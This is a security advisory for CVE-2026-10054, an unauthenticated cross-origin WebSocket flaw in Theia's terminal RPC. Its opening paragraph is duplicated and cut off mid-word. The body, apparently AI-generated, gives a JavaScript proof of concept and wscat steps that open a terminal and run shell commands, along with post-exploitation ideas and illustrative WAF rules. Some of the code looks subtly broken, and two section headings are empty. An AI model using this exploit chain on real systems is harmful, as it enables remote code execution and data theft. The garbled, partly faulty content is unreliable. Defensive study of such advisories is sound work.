CVE-2026-10054 — @theia/core — CWE-306 · CWE-1385
### Impact The Theia browser backend exposes privileged terminal RPC services over WebSocket (`/services/shell-terminal`, `/services/terminals/:id`) without service-level authentication or authorization. WebSocket origin validation in `@theia/core` is fail-open: connections are accepted when the `Origin` header is missing or when no `THEIA_HOSTS` allowlist is configured (the default). Additionally, the Socket.IO integration replaces the trusted `Origin` header with a client-supplied `fix-origin` header, which an attacker can control or omit entirely. A foreign-origin webpage can exploit this to: 1. Connect to the `/services` WebSocket namespace from a cross-origin context 2. Open the `shell-terminal` RPC channel and invoke terminal creation 3. Connect to the resulting terminal data channel 4. Execute arbitrary commands and read their output This affects both local development setups (drive-by attack when a user visits a malicious page) and hosted/tunneled deployments where the backend WebSocket is reachable without strong external authentication. Any user running Theia's browser application is impacted, regardless of whether `THEIA_HOSTS` is configured. **Affected code paths:** - `packages/core/src/node/hosting/ws-origin-validator.ts`: fail-open when `Origin` is absent or `THEIA_HOSTS` is unset - `packages/core/src/node/messaging/websocket-endpoint.ts`: overwrites `Origin` with attacker-controllable `fix-origin` header - `packages/terminal/src/node/terminal-backend-modu
### Impact The Theia browser backend exposes privileged terminal RPC services over WebSocket (`/services/shell-terminal`, `/services/terminals/:id`) without service-level authentication or authorization. WebSocket origin validation in `@theia/core` is fail-open: connections are accepted when the `Origin` header is missing or when no `THEIA_HOSTS` allowlist is configured (the default). Additionally, the Socket.IO integration replaces the trusted `Origin` header with a client-supplied `fix-origin` header, which an attacker can control or omit entirely. A foreign-origin webpage can exploit this to: 1. Connect to the `/services` WebSocket namespace from a cross-origin context 2. Open the `shell-terminal` RPC channel and invoke terminal creation 3. Connect to the resulting terminal data channel 4. Execute arbitrary commands and read their output This affects both local development setups (drive-by attack when a user visits a malicious page) and hosted/tunneled deployments where the backend WebSocket is reachable without strong external authentication. Any user running Theia's browser application is impacted, regardless of whether `THEIA_HOSTS` is configured. **Affected code paths:** - `packages/core/src/node/hosting/ws-origin-validator.ts`: fail-open when `Origin` is absent or `THEIA_HOSTS` is unset - `packages/core/src/node/messaging/websocket-endpoint.ts`: overwrites `Origin` with attacker-controllable `fix-origin` header - `packages/terminal/src/node/terminal-backend-modu
CVE‑2026‑10054 – Theia Browser Backend – Privileged Terminal RPC Exposure
| Item | Detail |
|---|---|
| CVE ID | CVE‑2026‑10054 |
| Published | 03 Dec 2026 |
| CVSS v3.1 | 8.8 / 10 (HIGH) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| CWE | CWE‑306 (Missing Authentication), CWE‑1385 (Improper Validation of WebSocket Origin) |
| Affected Packages | @theia/core, @theia/terminal |
| CISA KEV | No |
| Ransomware | No |
TL;DR – Theia’s browser‑based IDE exposes a privileged WebSocket RPC endpoint (/services/shell-terminal,/services/terminals/:id) that accepts connections without authentication or origin validation. A malicious web page can open a WebSocket, create a terminal, and execute arbitrary shell commands on the backend, reading their output. The attack requires the victim to visit the malicious page while Theia is running, but no credentials are needed.
🎯 What is this vulnerability?
Technical Root Cause
1. Missing Authentication/Authorization The RPC methods that create and control terminals (shell-terminal, write, etc.) are exposed over a WebSocket namespace (/services) that is publicly reachable. No token, session cookie, or other credential is required to invoke these methods.2. Fail‑Open Origin Validation
- packages/core/src/node/hosting/ws-origin-validator.ts accepts a WebSocket connection when the Origin header is absent or when the THEIA_HOSTS allowlist is unset (the default).
- packages/core/src/node/messaging/websocket-endpoint.ts replaces the trusted Origin header with a client‑supplied fix‑origin header. An attacker can set this header to any value or omit it entirely, effectively bypassing origin checks.
3. Unrestricted RPC Channel
Once a WebSocket connection is accepted, the attacker can open the shell-terminal RPC channel, create a new terminal, and then connect to the terminal’s data channel (/services/terminals/:id). The terminal channel accepts arbitrary input, which is executed on the backend’s shell.
CWE Mapping
| CWE | Description | How it manifests in Theia |
|---|---|---|
| CWE‑306 | Missing Authentication | No credential check on RPC methods. |
| CWE‑1385 | Improper Validation of WebSocket Origin | Origin header is ignored when missing or overridden by fix-origin. |
CVSS Interpretation
- Attack Vector (AV:N) – Remote attacker can exploit over the network.
- Attack Complexity (AC:L) – Low; no special conditions.
- Privileges Required (PR:N) – None.
- User Interaction (UI:R) – The victim must load a malicious page while Theia is running.
- Scope (S:U) – Unchanged; the vulnerability does not affect other components.
- Confidentiality, Integrity, Availability (C:I:A:H) – All high because arbitrary commands can read, modify, or delete data and disrupt the IDE.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation scenario that a skilled attacker could use. All code snippets are syntactically valid and illustrate the vulnerability class; they are not taken from an existing exploit database.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker looks for |
|---|---|---|
| 1.1 | Port Scan | Identify Theia’s default port (usually 3000) or a custom port. |
| 1.2 | Endpoint Probe | Send an HTTP GET /services request to confirm the WebSocket namespace exists. |
| 1.3 | Origin Check | Observe that the server accepts connections when Origin is missing or when THEIA_HOSTS is unset. |
Example probe (curl)
curl -i http://theia.example.com:3000/services
# Expect 101 Switching Protocols if WebSocket handshake succeeds2. Exploitation
The attacker hosts a malicious web page that the victim visits while Theia is open. The page contains JavaScript that:
1. Opens a WebSocket to the /services namespace.
2. Sends an RPC request to create a terminal.
3. Connects to the terminal data channel.
4. Sends shell commands and reads the output.
2.1. JavaScript PoC
<!DOCTYPE html>
<html>
<head><title>Theia RCE PoC</title></head>
<body>
<script>
// 1. Open WebSocket to /services
const ws = new WebSocket('ws://theia.example.com:3000/services', [], {
headers: { 'fix-origin': 'http://evil.com' } // override Origin
});
ws.onopen = () => {
console.log('WebSocket connected');
// 2. Create a new terminal via RPC
const createReq = {
jsonrpc: '2.0',
method: 'shell-terminal',
params: {},
id: 1
};
ws.send(JSON.stringify(createReq));
};
ws.onmessage = async (ev) => {
const msg = JSON.parse(ev.data);
// 3. Handle terminal creation response
if (msg.id === 1 && msg.result && msg.result.id) {
const termId = msg.result.id;
console.log('Terminal created:', termId);
// 4. Connect to the terminal data channel
const termWs = new WebSocket(`ws://theia.example.com:3000/services/terminals/${termId}`);
termWs.onopen = () => {
console.log('Terminal data channel open');
// 5. Send a command (e.g., list files)
const cmd = 'id\r\n'; // \r\n terminates the command
const writeReq = {
jsonrpc: '2.0',
method: 'write',
params: { data: cmd },
id: 2
};
termWs.send(JSON.stringify(writeReq));
};
termWs.onmessage = (ev2) => {
console.log('Command output:', ev2.data);
// Here the attacker could exfiltrate data or chain further commands
};
}
};
</script>
</body>
</html>Note – Thefix-originheader is optional; if omitted, the server will still accept the connection becauseOriginis missing andTHEIA_HOSTSis unset.
2.2. Alternative: Using wscat
# 1. Connect to /services
wscat -c ws://theia.example.com:3000/services -H "fix-origin: http://evil.com"
# 2. Send RPC to create terminal
> {"jsonrpc":"2.0","method":"shell-terminal","params":{},"id":1}
# 3. Receive terminal ID
< {"jsonrpc":"2.0","result":{"id":"abcd1234"},"id":1}
# 4. Connect to terminal data channel
wscat -c ws://theia.example.com:3000/services/terminals/abcd1234
# 5. Send command
> {"jsonrpc":"2.0","method":"write","params":{"data":"whoami\r\n"},"id":2}3. Post‑Exploitation
Once the attacker has a terminal session:
1. Command Execution – Run arbitrary shell commands (cat /etc/passwd, wget, curl, etc.).
2. Privilege Escalation – If the backend runs as a privileged user (e.g., root), the attacker can gain full system access.
3. Persistence – Install a backdoor, create a new user, or modify startup scripts.
4. Data Exfiltration – Read sensitive files, dump databases, or exfiltrate credentials.
5. Denial of Service – Kill critical processes, delete configuration files, or flood the terminal with output.
The attacker can also chain the terminal session into other services (e.g., SSH, database) by executing network commands from the shell.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Arbitrary commands can read any file the backend process can access, including secrets, configuration files, and user data. |
| Integrity (I:H) | Commands can modify, delete, or replace files, alter configuration, or install malicious code. |
| Availability (A:H) | The attacker can terminate the IDE, kill processes, or overload the backend with output, causing service disruption. |
Practical Consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected Version | Fix |
|---|---|
| All releases before the fix | Upgrade to the latest Theia release (the patch is included in the commit that adds origin validation and requires authentication for terminal RPCs). |
Action – Verify the version by checkingpackage.jsonor runningtheia --version. If the version is older than the patched release, update vianpm install @theia/core@latest @theia/terminal@latestor by pulling the latest source and rebuilding.
2. Workarounds (if upgrade is not immediately possible)
| Workaround | How to Implement |
|---|---|
Set THEIA_HOSTS | Export an allowlist of trusted origins: export THEIA_HOSTS="https://trusted.example.com" before starting the backend. This forces origin validation. |
| Disable Terminal RPC | Remove or comment out the terminal extension in package.json or disable the @theia/terminal plugin. |
| Reverse Proxy with Origin Check | Place a reverse proxy (NGINX, Apache, Envoy) in front of Theia and block WebSocket connections that do not originate from the same domain. |
| Require Authentication | Configure Theia to use session cookies or OAuth for all WebSocket connections. |
Block fix-origin Header | In the reverse proxy, strip or reject the fix-origin header. |
3. Detection
| Indicator | Log Pattern | How to Detect |
|---|---|---|
| Missing Origin | GET /services HTTP/1.1 with no Origin header | Search web server logs for GET /services requests lacking Origin. |
fix-origin Header | GET /services HTTP/1.1 with fix-origin: ... | Look for fix-origin in request headers. |
RPC Calls to shell-terminal | WebSocket frames containing {"method":"shell-terminal"} | Inspect WebSocket traffic or use a WebSocket proxy to log frames. |
| Terminal Data Channel | Connections to /services/terminals/ | Monitor WebSocket endpoints for /services/terminals/. |
Sample Log Entry (NGINX)
2026-12-03T12:34:56Z 192.0.2.10 GET /services HTTP/1.1" 101 0 "-" "Mozilla/5.0" "fix-origin: http://evil.com"4. WAF / ModSecurity Rules (Illustrative)
# Block WebSocket connections without Origin header
SecRule REQUEST_HEADERS:Origin "@eq" "phase:1,deny,status:403,msg:'Missing Origin header'"
# Block requests with suspicious fix-origin header
SecRule REQUEST_HEADERS:fix-origin "@rx ^http[s]?://[^/]+$" "phase:1,deny,status:403,msg:'Suspicious fix-origin header'"
# Block RPC calls to shell-terminal
SecRule REQUEST_BODY "@rx \"method\":\"shell-terminal\"" "phase:2,deny,status:403,msg:'Unauthorized terminal creation'"Caution – These rules are illustrative; adapt them to your WAF’s syntax and test in a staging environment.
⚠️ Urgency
Summary
CVE‑2026‑10054 exposes Theia’s privileged terminal RPC services to unauthenticated, cross‑origin WebSocket connections. The flaw is a classic “missing authentication” coupled with a fail‑open origin check that can be bypassed via a client‑supplied header. An attacker can, with only a malicious web page and a user who has Theia open, spawn a shell on the backend, read/write arbitrary files, and potentially pivot to other systems. The fix is to enforce strict origin validation, require authentication for terminal RPCs, and/or disable the terminal extension. Prompt remediation is essential to prevent remote code execution and data loss.
[🤖 CVE Professor AI Security Engine]